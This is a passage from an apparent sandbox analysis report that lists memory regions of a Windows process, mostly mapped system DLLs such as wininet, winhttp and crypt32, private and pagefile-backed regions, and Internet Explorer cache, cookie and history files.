	              id = 2230
	        start_va = 0x7fef9c80000
	          end_va = 0x7fef9c82fff
	     entry_point = 0x7fef9c80000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 2231
	        start_va = 0x7fef9c90000
	          end_va = 0x7fef9c92fff
	     entry_point = 0x7fef9c90000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 2232
	        start_va = 0x7fef9ca0000
	          end_va = 0x7fef9ca2fff
	     entry_point = 0x7fef9ca0000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 2233
	        start_va = 0x7fef9cb0000
	          end_va = 0x7fef9cb2fff
	     entry_point = 0x7fef9cb0000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 2234
	        start_va = 0x7fef9cc0000
	          end_va = 0x7fef9db1fff
	     entry_point = 0x7fef9cc0000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 2235
	        start_va = 0x7fef9dc0000
	          end_va = 0x7fef9dc3fff
	     entry_point = 0x7fef9dc0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 2236
	        start_va = 0x7fef9dd0000
	          end_va = 0x7fef9de5fff
	     entry_point = 0x7fef9dd0000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll")

Region:
	              id = 2237
	        start_va = 0x7fefc740000
	          end_va = 0x7fefc75dfff
	     entry_point = 0x7fefc740000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2238
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3aefff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2239
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2240
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2241
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2242
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2243
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2244
	        start_va = 0x7fefdcc0000
	          end_va = 0x7fefea47fff
	     entry_point = 0x7fefdcc0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2245
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2246
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2247
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2248
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2249
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2250
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2251
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2252
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2253
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2254
	        start_va = 0xe0000
	          end_va = 0xe6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2255
	        start_va = 0xf0000
	          end_va = 0xf1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2256
	        start_va = 0x1bf0000
	          end_va = 0x1ebefff
	     entry_point = 0x1bf0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2257
	        start_va = 0x1ec0000
	          end_va = 0x22b2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001ec0000"
	        filename = ""

Region:
	              id = 2258
	        start_va = 0x37490000
	          end_va = 0x3749ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037490000"
	        filename = ""

Region:
	              id = 2259
	        start_va = 0x7febd6b0000
	          end_va = 0x7febd6bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febd6b0000"
	        filename = ""

Region:
	              id = 2329
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 2330
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 2331
	        start_va = 0x120000
	          end_va = 0x120fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000120000"
	        filename = ""

Region:
	              id = 2332
	        start_va = 0x130000
	          end_va = 0x130fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000130000"
	        filename = ""

Region:
	              id = 2333
	        start_va = 0x22c0000
	          end_va = 0x23bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022c0000"
	        filename = ""

Region:
	              id = 2334
	        start_va = 0x2480000
	          end_va = 0x24fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002480000"
	        filename = ""

Region:
	              id = 2335
	        start_va = 0x2500000
	          end_va = 0x25defff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002500000"
	        filename = ""

Region:
	              id = 2336
	        start_va = 0x25e0000
	          end_va = 0x26dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025e0000"
	        filename = ""

Region:
	              id = 2337
	        start_va = 0x27a0000
	          end_va = 0x289ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027a0000"
	        filename = ""

Region:
	              id = 2338
	        start_va = 0x28e0000
	          end_va = 0x29dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028e0000"
	        filename = ""

Region:
	              id = 2339
	        start_va = 0x2a20000
	          end_va = 0x2b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a20000"
	        filename = ""

Region:
	              id = 2340
	        start_va = 0x2c40000
	          end_va = 0x2d3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c40000"
	        filename = ""

Region:
	              id = 2341
	        start_va = 0x7fef5c40000
	          end_va = 0x7fef5cb3fff
	     entry_point = 0x7fef5c40000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2342
	        start_va = 0x7fef95d0000
	          end_va = 0x7fef97ecfff
	     entry_point = 0x7fef95d0000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2343
	        start_va = 0x7fef97f0000
	          end_va = 0x7fef9b05fff
	     entry_point = 0x7fef97f0000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2344
	        start_va = 0x7fefb010000
	          end_va = 0x7fefb024fff
	     entry_point = 0x7fefb010000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2345
	        start_va = 0x7fefbbb0000
	          end_va = 0x7fefbc05fff
	     entry_point = 0x7fefbbb0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2346
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2347
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2348
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2349
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2350
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2351
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2352
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2353
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 2354
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 2355
	        start_va = 0x2d50000
	          end_va = 0x2e4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d50000"
	        filename = ""

Region:
	              id = 2356
	        start_va = 0x2e70000
	          end_va = 0x2e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e70000"
	        filename = ""

Region:
	              id = 2357
	        start_va = 0x2e90000
	          end_va = 0x2f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e90000"
	        filename = ""

Region:
	              id = 2358
	        start_va = 0x7fee1b10000
	          end_va = 0x7fee1baffff
	     entry_point = 0x7fee1b10000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 2359
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2360
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2387
	        start_va = 0x2b20000
	          end_va = 0x2c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b20000"
	        filename = ""

Region:
	              id = 2388
	        start_va = 0x2c30000
	          end_va = 0x2c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c30000"
	        filename = ""

Region:
	              id = 2389
	        start_va = 0x2f90000
	          end_va = 0x308ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f90000"
	        filename = ""

Region:
	              id = 2390
	        start_va = 0x30f0000
	          end_va = 0x31effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030f0000"
	        filename = ""

Region:
	              id = 2391
	        start_va = 0x31f0000
	          end_va = 0x32effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031f0000"
	        filename = ""

Region:
	              id = 2392
	        start_va = 0x3320000
	          end_va = 0x341ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003320000"
	        filename = ""

Region:
	              id = 2393
	        start_va = 0x77610000
	          end_va = 0x77612fff
	     entry_point = 0x77610000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2394
	        start_va = 0x7fefb5f0000
	          end_va = 0x7fefb5fbfff
	     entry_point = 0x7fefb5f0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2395
	        start_va = 0x7fefb7d0000
	          end_va = 0x7fefb7e7fff
	     entry_point = 0x7fefb7d0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2396
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2397
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2398
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2399
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd44efff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2400
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd5d6fff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2401
	        start_va = 0x7fefd770000
	          end_va = 0x7fefd899fff
	     entry_point = 0x7fefd770000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2402
	        start_va = 0x7feff060000
	          end_va = 0x7feff2b8fff
	     entry_point = 0x7feff060000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2403
	        start_va = 0x7feff2c0000
	          end_va = 0x7feff437fff
	     entry_point = 0x7feff2c0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2404
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2405
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2406
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2407
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2408
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 2409
	        start_va = 0x150000
	          end_va = 0x151fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000150000"
	        filename = ""

Region:
	              id = 2410
	        start_va = 0x3420000
	          end_va = 0x3762fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003420000"
	        filename = ""

Region:
	              id = 2411
	        start_va = 0x7fefb310000
	          end_va = 0x7fefb33cfff
	     entry_point = 0x7fefb310000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2412
	        start_va = 0x7fefbc60000
	          end_va = 0x7fefbe53fff
	     entry_point = 0x7fefbc60000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2413
	        start_va = 0x7fefc560000
	          end_va = 0x7fefc56bfff
	     entry_point = 0x7fefc560000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2414
	        start_va = 0x7feff000000
	          end_va = 0x7feff051fff
	     entry_point = 0x7feff000000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2415
	        start_va = 0x170000
	          end_va = 0x171fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 2416
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7163fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2417
	        start_va = 0x7fef7170000
	          end_va = 0x7fef71e0fff
	     entry_point = 0x7fef7170000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2418
	        start_va = 0x7fefae50000
	          end_va = 0x7fefae5afff
	     entry_point = 0x7fefae50000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2419
	        start_va = 0x7fefae60000
	          end_va = 0x7fefae86fff
	     entry_point = 0x7fefae60000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2420
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac30fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2421
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2422
	        start_va = 0x160000
	          end_va = 0x16bfff
	     entry_point = 0x160000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2423
	        start_va = 0x190000
	          end_va = 0x197fff
	     entry_point = 0x190000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2424
	        start_va = 0x1a0000
	          end_va = 0x1affff
	     entry_point = 0x1a0000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2425
	        start_va = 0x7fefcab0000
	          end_va = 0x7fefcb0afff
	     entry_point = 0x7fefcab0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2426
	        start_va = 0x38d0000
	          end_va = 0x394ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038d0000"
	        filename = ""

Region:
	              id = 2427
	        start_va = 0x7fefb380000
	          end_va = 0x7fefb39bfff
	     entry_point = 0x7fefb380000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 2428
	        start_va = 0x7fefb3a0000
	          end_va = 0x7fefb401fff
	     entry_point = 0x7fefb3a0000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 2429
	        start_va = 0x7fefb360000
	          end_va = 0x7fefb370fff
	     entry_point = 0x7fefb360000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2430
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac17fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2431
	        start_va = 0x23c0000
	          end_va = 0x247ffff
	     entry_point = 0x23c0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2432
	        start_va = 0x39c0000
	          end_va = 0x3abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039c0000"
	        filename = ""

Region:
	              id = 2433
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2434
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2435
	        start_va = 0x1b0000
	          end_va = 0x1b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 2436
	        start_va = 0x7fefcc30000
	          end_va = 0x7fefcc84fff
	     entry_point = 0x7fefcc30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2437
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd6b5fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2438
	        start_va = 0x7fef4940000
	          end_va = 0x7fef4948fff
	     entry_point = 0x7fef4940000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 2439
	        start_va = 0x7fefc630000
	          end_va = 0x7fefc636fff
	     entry_point = 0x7fefc630000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2440
	        start_va = 0x7fefcc20000
	          end_va = 0x7fefcc26fff
	     entry_point = 0x7fefcc20000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2468
	        start_va = 0x2720000
	          end_va = 0x272ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002720000"
	        filename = ""

Region:
	              id = 2469
	        start_va = 0x3b90000
	          end_va = 0x3c8ffff
	     entry_point = 0x0
	     region_type = private
